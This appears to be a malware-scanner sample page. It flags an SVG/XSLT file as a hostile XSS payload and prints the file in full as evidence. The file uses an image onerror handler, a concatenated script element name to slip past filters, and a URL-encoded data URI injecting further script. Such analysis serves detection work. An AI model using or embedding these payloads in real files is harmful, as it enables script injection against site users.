Hostile 100% Download

e4/ed/e4ed21dfa8b3c1ed9a1998721b1da6795a1a7b75abef2f6f1e261e103ea5a44f

XSS payload in SVG

SVG use element imports raster image fragmentXSLT copy-of loads inline data URI
SHA-256e4ed21dfa8b3c1ed9a1998721b1da6795a1a7b75abef2f6f1e261e103ea5a44f
MaleculeO(Er)H(Db)Md

Evidence

SVG use element imports raster image fragment lines 1–15
1<?xml version="1.0" encoding="UTF-8"?>
2<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:x="http://www.w3.org/1999/XSL/Transform">
3 <xsl:template match="/">
4 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="400" height="200">
5 <use href="/svg/test.gif#x" />
6 <g id="x">
7 <image href="1" onerror="alert(1)" />
8 </g>
9 <foreignObject width="400" height="200">
10 <x:element name="{concat('scr','ipt')}">alert(document.domain)</x:element>
11 <xsl:copy-of select="document('data:application/xml,%3Cdiv%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml%22%3E%3Cimg%20src%3D%221%22%20onerror%3D%22alert(document.domain)%22%20%2F%3E%3C%2Fdiv%3E')/*"/>
12 </foreignObject>
13 </svg>
14 </xsl:template>
15</xsl:stylesheet>

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.